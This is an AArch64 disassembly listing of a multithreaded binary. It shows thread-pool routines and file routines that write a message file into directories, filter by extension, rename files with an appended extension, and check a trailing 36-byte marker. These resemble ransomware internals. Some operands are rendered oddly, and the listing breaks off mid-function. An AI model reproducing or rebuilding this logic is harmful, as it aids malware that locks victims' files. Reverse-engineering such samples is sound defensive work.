    004062c4bl pthread_mutex_lock@plt
    004062c8b 0x4062e8
    004062cc
    004062ccloc_4062cc:
    004062ccldr x0, [sp+24]
    004062d0add x2, x0, 64
    004062d4ldr x0, [sp+24]
    004062d8add x0, x0, 16
    004062dcmov x1, x0
    004062e0mov x0, x2
    004062e4bl pthread_cond_wait@plt
    004062e8
    004062e8loc_4062e8:
    004062e8ldr x0, [sp+24]
    004062ecldr w0, [x0+184]
    004062f0subs wzr, w0, 0
    004062f4b.ne 0x4062cc
    004062f8ldr x0, [sp+24]
    004062fcldr w0, [x0+12]
    00406300subs wzr, w0, 0
    00406304b.ne 0x4062cc
    00406308ldr x0, [sp+24]
    0040630cadd x0, x0, 16
    00406310bl pthread_mutex_unlock@plt
    00406314hint
    00406318ldp x29, x30, [sp], 32
    0040631cret x30
    004062b0
    00406320
    00406320thpool_destroy:
    00406320stp x29, x30, [sp-80]!
    00406324add x29, sp, 0
    00406328str x0, [sp+24]
    0040632cldr x0, [sp+24]
    00406330subs xzr, x0, 0
    00406334b.eq 0x40643c
    00406338ldr x0, [sp+24]
    0040633cldr w0, [x0+8]
    00406340str w0, [sp+52]
    00406344adrp x0, 0x14000
    00406348add x0, x0, 688
    0040634cstr wzr, [x0]
    00406350fmov d0
    00406354str d0, [sp+56]
    00406358str xzr, [sp+72]
    0040635cadd x0, sp, 40
    00406360bl time@plt
    00406364b 0x40638c
    00406368
    00406368loc_406368:
    00406368ldr x0, [sp+24]
    0040636cldr x0, [x0+176]
    00406370bl bsem_post_all
    00406374add x0, sp, 32
    00406378bl time@plt
    0040637cldr x0, [sp+32]
    00406380ldr x1, [sp+40]
    00406384bl difftime@plt
    00406388str d0, [sp+72]
    0040638c
    0040638cloc_40638c:
    0040638cldr d1, [sp+72]
    00406390ldr d0, [sp+56]
    00406394fcmpe d1, d0
    00406398b.mi 0x4063a0
    0040639cb 0x4063b0
    004063a0
    004063a0loc_4063a0:
    004063a0ldr x0, [sp+24]
    004063a4ldr w0, [x0+8]
    004063a8subs wzr, w0, 0
    004063acb.ne 0x406368
    004063b0
    004063b0loc_4063b0:
    004063b0b 0x4063c8
    004063b4
    004063b4loc_4063b4:
    004063b4ldr x0, [sp+24]
    004063b8ldr x0, [x0+176]
    004063bcbl bsem_post_all
    004063c0movz w0, 1
    004063c4bl sleep@plt
    004063c8
    004063c8loc_4063c8:
    004063c8ldr x0, [sp+24]
    004063ccldr w0, [x0+8]
    004063d0subs wzr, w0, 0
    004063d4b.ne 0x4063b4
    004063d8ldr x0, [sp+24]
    004063dcadd x0, x0, 112
    004063e0bl jobqueue_destroy
    004063e4str wzr, [sp+68]
    004063e8b 0x406414
    004063ec
    004063ecloc_4063ec:
    004063ecldr x0, [sp+24]
    004063f0ldr x1, [x0]
    004063f4ldrsw x0, [sp+68]
    004063f8ubfm x0, x0, 61, 60
    004063fcadd x0, x1, x0
    00406400ldr x0, [x0]
    00406404bl thread_destroy
    00406408ldr w0, [sp+68]
    0040640cadd w0, w0, 1
    00406410str w0, [sp+68]
    00406414
    00406414loc_406414:
    00406414ldr w0, [sp+52]
    00406418ldr w1, [sp+68]
    0040641csubs wzr, w1, w0
    00406420b.lt 0x4063ec
    00406424ldr x0, [sp+24]
    00406428ldr x0, [x0]
    0040642cbl free@plt
    00406430ldr x0, [sp+24]
    00406434bl free@plt
    00406438b 0x406440
    0040643c
    0040643cloc_40643c:
    0040643chint
    00406440
    00406440loc_406440:
    00406440ldp x29, x30, [sp], 80
    00406444ret x30
    00406320
    00406448
    00406448thpool_pause:
    00406448stp x29, x30, [sp-48]!
    0040644cadd x29, sp, 0
    00406450str x0, [sp+24]
    00406454str wzr, [sp+44]
    00406458b 0x40648c
    0040645c
    0040645cloc_40645c:
    0040645cldr x0, [sp+24]
    00406460ldr x1, [x0]
    00406464ldrsw x0, [sp+44]
    00406468ubfm x0, x0, 61, 60
    0040646cadd x0, x1, x0
    00406470ldr x0, [x0]
    00406474ldr x0, [x0+8]
    00406478movz w1, 10
    0040647cbl pthread_kill@plt
    00406480ldr w0, [sp+44]
    00406484add w0, w0, 1
    00406488str w0, [sp+44]
    0040648c
    0040648cloc_40648c:
    0040648cldr x0, [sp+24]
    00406490ldr w0, [x0+8]
    00406494ldr w1, [sp+44]
    00406498subs wzr, w1, w0
    0040649cb.lt 0x40645c
    004064a0hint
    004064a4hint
    004064a8ldp x29, x30, [sp], 48
    004064acret x30
    00406448
    004064b0
    004064b0thpool_resume:
    004064b0sub sp, sp, 16
    004064b4str x0, [sp+8]
    004064b8adrp x0, 0x14000
    004064bcadd x0, x0, 692
    004064c0str wzr, [x0]
    004064c4hint
    004064c8add sp, sp, 16
    004064ccret x30
    004064b0
    004064d0
    004064d0thpool_num_threads_working:
    004064d0sub sp, sp, 16
    004064d4str x0, [sp+8]
    004064d8ldr x0, [sp+8]
    004064dcldr w0, [x0+12]
    004064e0add sp, sp, 16
    004064e4ret x30
    004064d0
    004064e8
    004064e8thread_init:
    004064e8stp x29, x30, [sp-48]!
    004064ecadd x29, sp, 0
    004064f0str x0, [sp+40]
    004064f4str x1, [sp+32]
    004064f8str w2, [sp+28]
    004064fcmovz x0, 24
    00406500bl malloc@plt
    00406504mov x1, x0
    00406508ldr x0, [sp+32]
    0040650cstr x1, [x0]
    00406510ldr x0, [sp+32]
    00406514ldr x0, [x0]
    00406518subs xzr, x0, 0
    0040651cb.ne 0x40654c
    00406520adrp x0, 0x14000
    00406524add x0, x0, 648
    00406528ldr x0, [x0]
    0040652cmov x3, x0
    00406530movz x2, 52
    00406534movz x1, 1
    00406538adrp x0, 8192
    0040653cadd x0, x0, 56
    00406540bl fwrite@plt
    00406544movn w0, 0
    00406548b 0x4065ac
    0040654c
    0040654cloc_40654c:
    0040654cldr x0, [sp+32]
    00406550ldr x0, [x0]
    00406554ldr x1, [sp+40]
    00406558str x1, [x0+16]
    0040655cldr x0, [sp+32]
    00406560ldr x0, [x0]
    00406564ldr w1, [sp+28]
    00406568str w1, [x0]
    0040656cldr x0, [sp+32]
    00406570ldr x0, [x0]
    00406574add x4, x0, 8
    00406578ldr x0, [sp+32]
    0040657cldr x0, [x0]
    00406580mov x3, x0
    00406584adrp x0, 0
    00406588add x2, x0, 1536
    0040658cmovz x1, 0
    00406590mov x0, x4
    00406594bl pthread_create@plt
    00406598ldr x0, [sp+32]
    0040659cldr x0, [x0]
    004065a0ldr x0, [x0+8]
    004065a4bl pthread_detach@plt
    004065a8movz w0, 0
    004065ac
    004065acloc_4065ac:
    004065acldp x29, x30, [sp], 48
    004065b0ret x30
    004064e8
    004065b4
    004065b4thread_hold:
    004065b4stp x29, x30, [sp-32]!
    004065b8add x29, sp, 0
    004065bcstr w0, [sp+28]
    004065c0adrp x0, 0x14000
    004065c4add x0, x0, 692
    004065c8movz w1, 1
    004065ccstr w1, [x0]
    004065d0b 0x4065dc
    004065d4
    004065d4loc_4065d4:
    004065d4movz w0, 1
    004065d8bl sleep@plt
    004065dc
    004065dcloc_4065dc:
    004065dcadrp x0, 0x14000
    004065e0add x0, x0, 692
    004065e4ldr w0, [x0]
    004065e8subs wzr, w0, 0
    004065ecb.ne 0x4065d4
    004065f0hint
    004065f4hint
    004065f8ldp x29, x30, [sp], 32
    004065fcret x30
    004065b4
    00406600
    00406600thread_do:
    00406600stp x29, x30, [sp-256]!
    00406604add x29, sp, 0
    00406608str x0, [sp+24]
    0040660cstp xzr, xzr, [sp+192]
    00406610stp xzr, xzr, [sp+208]
    00406614ldr x0, [sp+24]
    00406618ldr w0, [x0]
    0040661cadd x4, sp, 192
    00406620mov w3, w0
    00406624adrp x0, 8192
    00406628add x2, x0, 112
    0040662cmovz x1, 32
    00406630mov x0, x4
    00406634bl snprintf@plt
    00406638add x0, sp, 192
    0040663cmov x1, x0
    00406640movz w0, 15
    00406644bl prctl@plt
    00406648ldr x0, [sp+24]
    0040664cldr x0, [x0+16]
    00406650str x0, [sp+248]
    00406654add x0, sp, 40
    00406658add x0, x0, 8
    0040665cbl sigemptyset@plt
    00406660str wzr, [sp+176]
    00406664adrp x0, 0
    00406668add x0, x0, 1460
    0040666cstr x0, [sp+40]
    00406670add x0, sp, 40
    00406674movz x2, 0
    00406678mov x1, x0
    0040667cmovz w0, 10
    00406680bl sigaction@plt
    00406684adds wzr, w0, 1
    00406688b.ne 0x4066b0
    0040668cadrp x0, 0x14000
    00406690add x0, x0, 648
    00406694ldr x0, [x0]
    00406698mov x3, x0
    0040669cmovz x2, 34
    004066a0movz x1, 1
    004066a4adrp x0, 8192
    004066a8add x0, x0, 128
    004066acbl fwrite@plt
    004066b0
    004066b0loc_4066b0:
    004066b0ldr x0, [sp+248]
    004066b4add x0, x0, 16
    004066b8bl pthread_mutex_lock@plt
    004066bcldr x0, [sp+248]
    004066c0ldr w0, [x0+8]
    004066c4add w1, w0, 1
    004066c8ldr x0, [sp+248]
    004066ccstr w1, [x0+8]
    004066d0ldr x0, [sp+248]
    004066d4add x0, x0, 16
    004066d8bl pthread_mutex_unlock@plt
    004066dcb 0x4067bc
    004066e0
    004066e0loc_4066e0:
    004066e0ldr x0, [sp+248]
    004066e4ldr x0, [x0+176]
    004066e8bl bsem_wait
    004066ecadrp x0, 0x14000
    004066f0add x0, x0, 688
    004066f4ldr w0, [x0]
    004066f8subs wzr, w0, 0
    004066fcb.eq 0x4067bc
    00406700ldr x0, [sp+248]
    00406704add x0, x0, 16
    00406708bl pthread_mutex_lock@plt
    0040670cldr x0, [sp+248]
    00406710ldr w0, [x0+12]
    00406714add w1, w0, 1
    00406718ldr x0, [sp+248]
    0040671cstr w1, [x0+12]
    00406720ldr x0, [sp+248]
    00406724add x0, x0, 16
    00406728bl pthread_mutex_unlock@plt
    0040672cldr x0, [sp+248]
    00406730add x0, x0, 112
    00406734bl jobqueue_pull
    00406738str x0, [sp+240]
    0040673cldr x0, [sp+240]
    00406740subs xzr, x0, 0
    00406744b.eq 0x406774
    00406748ldr x0, [sp+240]
    0040674cldr x0, [x0+8]
    00406750str x0, [sp+232]
    00406754ldr x0, [sp+240]
    00406758ldr x0, [x0+16]
    0040675cstr x0, [sp+224]
    00406760ldr x1, [sp+232]
    00406764ldr x0, [sp+224]
    00406768blr x1
    0040676cldr x0, [sp+240]
    00406770bl free@plt
    00406774
    00406774loc_406774:
    00406774ldr x0, [sp+248]
    00406778add x0, x0, 16
    0040677cbl pthread_mutex_lock@plt
    00406780ldr x0, [sp+248]
    00406784ldr w0, [x0+12]
    00406788sub w1, w0, 1
    0040678cldr x0, [sp+248]
    00406790str w1, [x0+12]
    00406794ldr x0, [sp+248]
    00406798ldr w0, [x0+12]
    0040679csubs wzr, w0, 0
    004067a0b.ne 0x4067b0
    004067a4ldr x0, [sp+248]
    004067a8add x0, x0, 64
    004067acbl pthread_cond_signal@plt
    004067b0
    004067b0loc_4067b0:
    004067b0ldr x0, [sp+248]
    004067b4add x0, x0, 16
    004067b8bl pthread_mutex_unlock@plt
    004067bc
    004067bcloc_4067bc:
    004067bcadrp x0, 0x14000
    004067c0add x0, x0, 688
    004067c4ldr w0, [x0]
    004067c8subs wzr, w0, 0
    004067ccb.ne 0x4066e0
    004067d0ldr x0, [sp+248]
    004067d4add x0, x0, 16
    004067d8bl pthread_mutex_lock@plt
    004067dcldr x0, [sp+248]
    004067e0ldr w0, [x0+8]
    004067e4sub w1, w0, 1
    004067e8ldr x0, [sp+248]
    004067ecstr w1, [x0+8]
    004067f0ldr x0, [sp+248]
    004067f4add x0, x0, 16
    004067f8bl pthread_mutex_unlock@plt
    004067fcmovz x0, 0
    00406800ldp x29, x30, [sp], 256
    00406804ret x30
    00406600
    00406808
    00406808thread_destroy:
    00406808stp x29, x30, [sp-32]!
    0040680cadd x29, sp, 0
    00406810str x0, [sp+24]
    00406814ldr x0, [sp+24]
    00406818bl free@plt
    0040681chint
    00406820ldp x29, x30, [sp], 32
    00406824ret x30
    00406808
    00406828
    00406828jobqueue_init:
    00406828stp x29, x30, [sp-32]!
    0040682cadd x29, sp, 0
    00406830str x0, [sp+24]
    00406834ldr x0, [sp+24]
    00406838str wzr, [x0+72]
    0040683cldr x0, [sp+24]
    00406840str xzr, [x0+48]
    00406844ldr x0, [sp+24]
    00406848str xzr, [x0+56]
    0040684cmovz x0, 104
    00406850bl malloc@plt
    00406854mov x1, x0
    00406858ldr x0, [sp+24]
    0040685cstr x1, [x0+64]
    00406860ldr x0, [sp+24]
    00406864ldr x0, [x0+64]
    00406868subs xzr, x0, 0
    0040686cb.ne 0x406878
    00406870movn w0, 0
    00406874b 0x406898
    00406878
    00406878loc_406878:
    00406878ldr x0, [sp+24]
    0040687cmovz x1, 0
    00406880bl pthread_mutex_init@plt
    00406884ldr x0, [sp+24]
    00406888ldr x0, [x0+64]
    0040688cmovz w1, 0
    00406890bl bsem_init
    00406894movz w0, 0
    00406898
    00406898loc_406898:
    00406898ldp x29, x30, [sp], 32
    0040689cret x30
    00406828
    004068a0
    004068a0jobqueue_clear:
    004068a0stp x29, x30, [sp-32]!
    004068a4add x29, sp, 0
    004068a8str x0, [sp+24]
    004068acb 0x4068bc
    004068b0
    004068b0loc_4068b0:
    004068b0ldr x0, [sp+24]
    004068b4bl jobqueue_pull
    004068b8bl free@plt
    004068bc
    004068bcloc_4068bc:
    004068bcldr x0, [sp+24]
    004068c0ldr w0, [x0+72]
    004068c4subs wzr, w0, 0
    004068c8b.ne 0x4068b0
    004068ccldr x0, [sp+24]
    004068d0str xzr, [x0+48]
    004068d4ldr x0, [sp+24]
    004068d8str xzr, [x0+56]
    004068dcldr x0, [sp+24]
    004068e0ldr x0, [x0+64]
    004068e4bl bsem_reset
    004068e8ldr x0, [sp+24]
    004068ecstr wzr, [x0+72]
    004068f0hint
    004068f4ldp x29, x30, [sp], 32
    004068f8ret x30
    004068a0
    004068fc
    004068fcjobqueue_push:
    004068fcstp x29, x30, [sp-32]!
    00406900add x29, sp, 0
    00406904str x0, [sp+24]
    00406908str x1, [sp+16]
    0040690cldr x0, [sp+24]
    00406910bl pthread_mutex_lock@plt
    00406914ldr x0, [sp+16]
    00406918str xzr, [x0]
    0040691cldr x0, [sp+24]
    00406920ldr w0, [x0+72]
    00406924subs wzr, w0, 0
    00406928b.ne 0x406948
    0040692cldr x0, [sp+24]
    00406930ldr x1, [sp+16]
    00406934str x1, [x0+48]
    00406938ldr x0, [sp+24]
    0040693cldr x1, [sp+16]
    00406940str x1, [x0+56]
    00406944b 0x406964
    00406948
    00406948loc_406948:
    00406948ldr x0, [sp+24]
    0040694cldr x0, [x0+56]
    00406950ldr x1, [sp+16]
    00406954str x1, [x0]
    00406958ldr x0, [sp+24]
    0040695cldr x1, [sp+16]
    00406960str x1, [x0+56]
    00406964
    00406964loc_406964:
    00406964ldr x0, [sp+24]
    00406968ldr w0, [x0+72]
    0040696cadd w1, w0, 1
    00406970ldr x0, [sp+24]
    00406974str w1, [x0+72]
    00406978ldr x0, [sp+24]
    0040697cldr x0, [x0+64]
    00406980bl bsem_post
    00406984ldr x0, [sp+24]
    00406988bl pthread_mutex_unlock@plt
    0040698chint
    00406990ldp x29, x30, [sp], 32
    00406994ret x30
    004068fc
    00406998
    00406998jobqueue_pull:
    00406998stp x29, x30, [sp-48]!
    0040699cadd x29, sp, 0
    004069a0str x0, [sp+24]
    004069a4ldr x0, [sp+24]
    004069a8bl pthread_mutex_lock@plt
    004069acldr x0, [sp+24]
    004069b0ldr x0, [x0+48]
    004069b4str x0, [sp+40]
    004069b8ldr x0, [sp+24]
    004069bcldr w0, [x0+72]
    004069c0subs wzr, w0, 0
    004069c4b.eq 0x406a20
    004069c8subs wzr, w0, 1
    004069ccb.ne 0x4069ec
    004069d0ldr x0, [sp+24]
    004069d4str xzr, [x0+48]
    004069d8ldr x0, [sp+24]
    004069dcstr xzr, [x0+56]
    004069e0ldr x0, [sp+24]
    004069e4str wzr, [x0+72]
    004069e8b 0x406a24
    004069ec
    004069ecloc_4069ec:
    004069ecldr x0, [sp+40]
    004069f0ldr x1, [x0]
    004069f4ldr x0, [sp+24]
    004069f8str x1, [x0+48]
    004069fcldr x0, [sp+24]
    00406a00ldr w0, [x0+72]
    00406a04sub w1, w0, 1
    00406a08ldr x0, [sp+24]
    00406a0cstr w1, [x0+72]
    00406a10ldr x0, [sp+24]
    00406a14ldr x0, [x0+64]
    00406a18bl bsem_post
    00406a1cb 0x406a24
    00406a20
    00406a20loc_406a20:
    00406a20hint
    00406a24
    00406a24loc_406a24:
    00406a24ldr x0, [sp+24]
    00406a28bl pthread_mutex_unlock@plt
    00406a2cldr x0, [sp+40]
    00406a30ldp x29, x30, [sp], 48
    00406a34ret x30
    00406998
    00406a38
    00406a38jobqueue_destroy:
    00406a38stp x29, x30, [sp-32]!
    00406a3cadd x29, sp, 0
    00406a40str x0, [sp+24]
    00406a44ldr x0, [sp+24]
    00406a48bl jobqueue_clear
    00406a4cldr x0, [sp+24]
    00406a50ldr x0, [x0+64]
    00406a54bl free@plt
    00406a58hint
    00406a5cldp x29, x30, [sp], 32
    00406a60ret x30
    00406a38
    00406a64
    00406a64bsem_init:
    00406a64stp x29, x30, [sp-32]!
    00406a68add x29, sp, 0
    00406a6cstr x0, [sp+24]
    00406a70str w1, [sp+20]
    00406a74ldr w0, [sp+20]
    00406a78subs wzr, w0, 0
    00406a7cb.lt 0x406a8c
    00406a80ldr w0, [sp+20]
    00406a84subs wzr, w0, 1
    00406a88b.le 0x406ab8
    00406a8c
    00406a8cloc_406a8c:
    00406a8cadrp x0, 0x14000
    00406a90add x0, x0, 648
    00406a94ldr x0, [x0]
    00406a98mov x3, x0
    00406a9cmovz x2, 57
    00406aa0movz x1, 1
    00406aa4adrp x0, 8192
    00406aa8add x0, x0, 168
    00406aacbl fwrite@plt
    00406ab0movz w0, 1
    00406ab4bl exit@plt
    00406ab8
    00406ab8loc_406ab8:
    00406ab8ldr x0, [sp+24]
    00406abcmovz x1, 0
    00406ac0bl pthread_mutex_init@plt
    00406ac4ldr x0, [sp+24]
    00406ac8add x0, x0, 48
    00406accmovz x1, 0
    00406ad0bl pthread_cond_init@plt
    00406ad4ldr x0, [sp+24]
    00406ad8ldr w1, [sp+20]
    00406adcstr w1, [x0+96]
    00406ae0hint
    00406ae4ldp x29, x30, [sp], 32
    00406ae8ret x30
    00406a64
    00406aec
    00406aecbsem_reset:
    00406aecstp x29, x30, [sp-32]!
    00406af0add x29, sp, 0
    00406af4str x0, [sp+24]
    00406af8movz w1, 0
    00406afcldr x0, [sp+24]
    00406b00bl bsem_init
    00406b04hint
    00406b08ldp x29, x30, [sp], 32
    00406b0cret x30
    00406aec
    00406b10
    00406b10bsem_post:
    00406b10stp x29, x30, [sp-32]!
    00406b14add x29, sp, 0
    00406b18str x0, [sp+24]
    00406b1cldr x0, [sp+24]
    00406b20bl pthread_mutex_lock@plt
    00406b24ldr x0, [sp+24]
    00406b28movz w1, 1
    00406b2cstr w1, [x0+96]
    00406b30ldr x0, [sp+24]
    00406b34add x0, x0, 48
    00406b38bl pthread_cond_signal@plt
    00406b3cldr x0, [sp+24]
    00406b40bl pthread_mutex_unlock@plt
    00406b44hint
    00406b48ldp x29, x30, [sp], 32
    00406b4cret x30
    00406b10
    00406b50
    00406b50bsem_post_all:
    00406b50stp x29, x30, [sp-32]!
    00406b54add x29, sp, 0
    00406b58str x0, [sp+24]
    00406b5cldr x0, [sp+24]
    00406b60bl pthread_mutex_lock@plt
    00406b64ldr x0, [sp+24]
    00406b68movz w1, 1
    00406b6cstr w1, [x0+96]
    00406b70ldr x0, [sp+24]
    00406b74add x0, x0, 48
    00406b78bl pthread_cond_broadcast@plt
    00406b7cldr x0, [sp+24]
    00406b80bl pthread_mutex_unlock@plt
    00406b84hint
    00406b88ldp x29, x30, [sp], 32
    00406b8cret x30
    00406b50
    00406b90
    00406b90bsem_wait:
    00406b90stp x29, x30, [sp-32]!
    00406b94add x29, sp, 0
    00406b98str x0, [sp+24]
    00406b9cldr x0, [sp+24]
    00406ba0bl pthread_mutex_lock@plt
    00406ba4b 0x406bb8
    00406ba8
    00406ba8loc_406ba8:
    00406ba8ldr x0, [sp+24]
    00406bacadd x0, x0, 48
    00406bb0ldr x1, [sp+24]
    00406bb4bl pthread_cond_wait@plt
    00406bb8
    00406bb8loc_406bb8:
    00406bb8ldr x0, [sp+24]
    00406bbcldr w0, [x0+96]
    00406bc0subs wzr, w0, 1
    00406bc4b.ne 0x406ba8
    00406bc8ldr x0, [sp+24]
    00406bccstr wzr, [x0+96]
    00406bd0ldr x0, [sp+24]
    00406bd4bl pthread_mutex_unlock@plt
    00406bd8hint
    00406bdcldp x29, x30, [sp], 32
    00406be0ret x30
    00406b90
    00406be4
    00406be4copy_path:
    00406be4stp x29, x30, [sp-48]!
    00406be8add x29, sp, 0
    00406becstr x0, [sp+24]
    00406bf0ldr x0, [sp+24]
    00406bf4bl strlen@plt
    00406bf8add x0, x0, 1
    00406bfcbl malloc@plt
    00406c00str x0, [sp+40]
    00406c04ldr x0, [sp+40]
    00406c08subs xzr, x0, 0
    00406c0cb.ne 0x406c18
    00406c10movz x0, 0
    00406c14b 0x406c28
    00406c18
    00406c18loc_406c18:
    00406c18ldr x1, [sp+24]
    00406c1cldr x0, [sp+40]
    00406c20bl strcpy@plt
    00406c24ldr x0, [sp+40]
    00406c28
    00406c28loc_406c28:
    00406c28ldp x29, x30, [sp], 48
    00406c2cret x30
    00406be4
    00406c30
    00406c30file_write_message:
    00406c30stp x29, x30, [sp-64]!
    00406c34add x29, sp, 0
    00406c38str x0, [sp+40]
    00406c3cstr x1, [sp+32]
    00406c40str x2, [sp+24]
    00406c44str x3, [sp+16]
    00406c48movz x0, 4097
    00406c4cbl malloc@plt
    00406c50str x0, [sp+56]
    00406c54ldr x0, [sp+56]
    00406c58subs xzr, x0, 0
    00406c5cb.eq 0x406cec
    00406c60ldr x1, [sp+40]
    00406c64ldr x0, [sp+56]
    00406c68bl strcpy@plt
    00406c6cldr x0, [sp+56]
    00406c70bl strlen@plt
    00406c74mov x1, x0
    00406c78ldr x0, [sp+56]
    00406c7cadd x0, x0, x1
    00406c80movz w1, 47
    00406c84strh w1, [x0]
    00406c88ldr x1, [sp+32]
    00406c8cldr x0, [sp+56]
    00406c90bl strcat@plt
    00406c94ldr x1, [sp+16]
    00406c98ldr x0, [sp+56]
    00406c9cbl strcat@plt
    00406ca0adrp x0, 8192
    00406ca4add x1, x0, 552
    00406ca8ldr x0, [sp+56]
    00406cacbl fopen@plt
    00406cb0str x0, [sp+48]
    00406cb4ldr x0, [sp+48]
    00406cb8subs xzr, x0, 0
    00406cbcb.eq 0x406ce4
    00406cc0ldr x0, [sp+24]
    00406cc4bl strlen@plt
    00406cc8ldr x3, [sp+48]
    00406cccmov x2, x0
    00406cd0movz x1, 1
    00406cd4ldr x0, [sp+24]
    00406cd8bl fwrite@plt
    00406cdcldr x0, [sp+48]
    00406ce0bl fclose@plt
    00406ce4
    00406ce4loc_406ce4:
    00406ce4ldr x0, [sp+56]
    00406ce8bl free@plt
    00406cec
    00406cecloc_406cec:
    00406cechint
    00406cf0ldp x29, x30, [sp], 64
    00406cf4ret x30
    00406c30
    00406cf8
    00406cf8file_ext_get:
    00406cf8stp x29, x30, [sp-48]!
    00406cfcadd x29, sp, 0
    00406d00str x0, [sp+24]
    00406d04ldr x0, [sp+24]
    00406d08bl strlen@plt
    00406d0cmov x1, x0
    00406d10ldr x0, [sp+24]
    00406d14add x0, x0, x1
    00406d18str x0, [sp+40]
    00406d1c
    00406d1cloc_406d1c:
    00406d1cldr x0, [sp+40]
    00406d20sub x0, x0, 1
    00406d24str x0, [sp+40]
    00406d28ldr x0, [sp+40]
    00406d2cldrb w0, [x0]
    00406d30subs wzr, w0, 46
    00406d34b.eq 0x406d60
    00406d38ldr x1, [sp+40]
    00406d3cldr x0, [sp+24]
    00406d40subs xzr, x1, x0
    00406d44b.ls 0x406d58
    00406d48ldr x0, [sp+40]
    00406d4cldrb w0, [x0]
    00406d50subs wzr, w0, 47
    00406d54b.ne 0x406d1c
    00406d58
    00406d58loc_406d58:
    00406d58movz x0, 0
    00406d5cb 0x406d68
    00406d60
    00406d60loc_406d60:
    00406d60hint
    00406d64ldr x0, [sp+40]
    00406d68
    00406d68loc_406d68:
    00406d68ldp x29, x30, [sp], 48
    00406d6cret x30
    00406cf8
    00406d70
    00406d70file_ext_find:
    00406d70stp x29, x30, [sp-64]!
    00406d74add x29, sp, 0
    00406d78str x19, [sp+16]
    00406d7cstr x0, [sp+40]
    00406d80str x1, [sp+32]
    00406d84adrp x0, 0x14000
    00406d88add x0, x0, 536
    00406d8cldr x19, [x0]
    00406d90adrp x0, 0x14000
    00406d94add x0, x0, 536
    00406d98ldr x0, [x0]
    00406d9cbl strlen@plt
    00406da0mov x2, x0
    00406da4mov x1, x19
    00406da8ldr x0, [sp+40]
    00406dacbl strncmp@plt
    00406db0subs wzr, w0, 0
    00406db4b.ne 0x406dc0
    00406db8movz w0, 2
    00406dbcb 0x406e78
    00406dc0
    00406dc0loc_406dc0:
    00406dc0ldr x0, [sp+40]
    00406dc4bl file_ext_get
    00406dc8str x0, [sp+48]
    00406dccldr x0, [sp+48]
    00406dd0subs xzr, x0, 0
    00406dd4b.eq 0x406e74
    00406dd8adrp x0, 0x14000
    00406ddcadd x0, x0, 544
    00406de0ldr x0, [x0]
    00406de4mov x1, x0
    00406de8ldr x0, [sp+48]
    00406decbl strcmp@plt
    00406df0subs wzr, w0, 0
    00406df4b.ne 0x406e00
    00406df8movz w0, 2
    00406dfcb 0x406e78
    00406e00
    00406e00loc_406e00:
    00406e00adrp x0, 0x14000
    00406e04add x0, x0, 528
    00406e08ldr x0, [x0]
    00406e0cadd x0, x0, 1
    00406e10ldrb w0, [x0]
    00406e14subs wzr, w0, 42
    00406e18b.ne 0x406e24
    00406e1cmovz w0, 0
    00406e20b 0x406e78
    00406e24
    00406e24loc_406e24:
    00406e24str wzr, [sp+60]
    00406e28b 0x406e60
    00406e2c
    00406e2cloc_406e2c:
    00406e2cadrp x0, 0x14000
    00406e30add x0, x0, 528
    00406e34ldrsw x1, [sp+60]
    00406e38ldr x0, [x0+3*x1]
    00406e3cldr x1, [sp+48]
    00406e40bl strcasecmp@plt
    00406e44subs wzr, w0, 0
    00406e48b.ne 0x406e54
    00406e4cmovz w0, 0
    00406e50b 0x406e78
    00406e54
    00406e54loc_406e54:
    00406e54ldr w0, [sp+60]
    00406e58add w0, w0, 1
    00406e5cstr w0, [sp+60]
    00406e60
    00406e60loc_406e60:
    00406e60ldr w0, [sp+60]
    00406e64subs wzr, w0, 0
    00406e68b.eq 0x406e2c
    00406e6cmovz w0, 2
    00406e70b 0x406e78
    00406e74
    00406e74loc_406e74:
    00406e74movz w0, 1
    00406e78
    00406e78loc_406e78:
    00406e78ldr x19, [sp+16]
    00406e7cldp x29, x30, [sp], 64
    00406e80ret x30
    00406d70
    00406e84
    00406e84file_rename:
    00406e84stp x29, x30, [sp-64]!
    00406e88add x29, sp, 0
    00406e8cstr x19, [sp+16]
    00406e90str x0, [sp+40]
    00406e94str xzr, [sp+56]
    00406e98ldr x0, [sp+40]
    00406e9cbl strlen@plt
    00406ea0mov x19, x0
    00406ea4adrp x0, 0x14000
    00406ea8add x0, x0, 544
    00406eacldr x0, [x0]
    00406eb0bl strlen@plt
    00406eb4add x0, x19, x0
    00406eb8add x0, x0, 1
    00406ebcbl malloc@plt
    00406ec0str x0, [sp+56]
    00406ec4ldr x0, [sp+56]
    00406ec8subs xzr, x0, 0
    00406eccb.eq 0x406f08
    00406ed0ldr x1, [sp+40]
    00406ed4ldr x0, [sp+56]
    00406ed8bl strcpy@plt
    00406edcadrp x0, 0x14000
    00406ee0add x0, x0, 544
    00406ee4ldr x0, [x0]
    00406ee8mov x1, x0
    00406eecldr x0, [sp+56]
    00406ef0bl strcat@plt
    00406ef4ldr x1, [sp+56]
    00406ef8ldr x0, [sp+40]
    00406efcbl rename@plt
    00406f00ldr x0, [sp+40]
    00406f04bl free@plt
    00406f08
    00406f08loc_406f08:
    00406f08ldr x0, [sp+56]
    00406f0cldr x19, [sp+16]
    00406f10ldp x29, x30, [sp], 64
    00406f14ret x30
    00406e84
    00406f18
    00406f18file_get_meta_data:
    00406f18stp x29, x30, [sp-208]!
    00406f1cadd x29, sp, 0
    00406f20str x0, [sp+40]
    00406f24str x1, [sp+32]
    00406f28str w2, [sp+28]
    00406f2cmovz w0, 1
    00406f30str w0, [sp+204]
    00406f34str xzr, [sp+192]
    00406f38add x0, sp, 56
    00406f3cmov x1, x0
    00406f40ldr x0, [sp+40]
    00406f44bl stat@plt
    00406f48subs wzr, w0, 0
    00406f4cb.ne 0x407008
    00406f50ldr x0, [sp+104]
    00406f54subs xzr, x0, 35
    00406f58b.ls 0x407008
    00406f5cadrp x0, 8192
    00406f60add x1, x0, 560
    00406f64ldr x0, [sp+40]
    00406f68bl fopen@plt
    00406f6cstr x0, [sp+184]
    00406f70ldr x0, [sp+184]
    00406f74subs xzr, x0, 0
    00406f78b.eq 0x407008
    00406f7cmovz w2, 2
    00406f80movn x1, 35
    00406f84ldr x0, [sp+184]
    00406f88bl fseek@plt
    00406f8csubs wzr, w0, 0
    00406f90b.ne 0x406fd4
    00406f94ldr x3, [sp+184]
    00406f98movz x2, 36
    00406f9cmovz x1, 1
    00406fa0ldr x0, [sp+32]
    00406fa4bl fread@plt
    00406fa8str x0, [sp+192]
    00406facldr x0, [sp+192]
    00406fb0subs xzr, x0, 36
    00406fb4b.ne 0x406fd4
    00406fb8ldr x0, [sp+32]
    00406fbcldr w1, [x0+32]
    00406fc0movz w0, 50198
    00406fc4movk w0, 0x6c890000
    00406fc8subs wzr, w1, w0
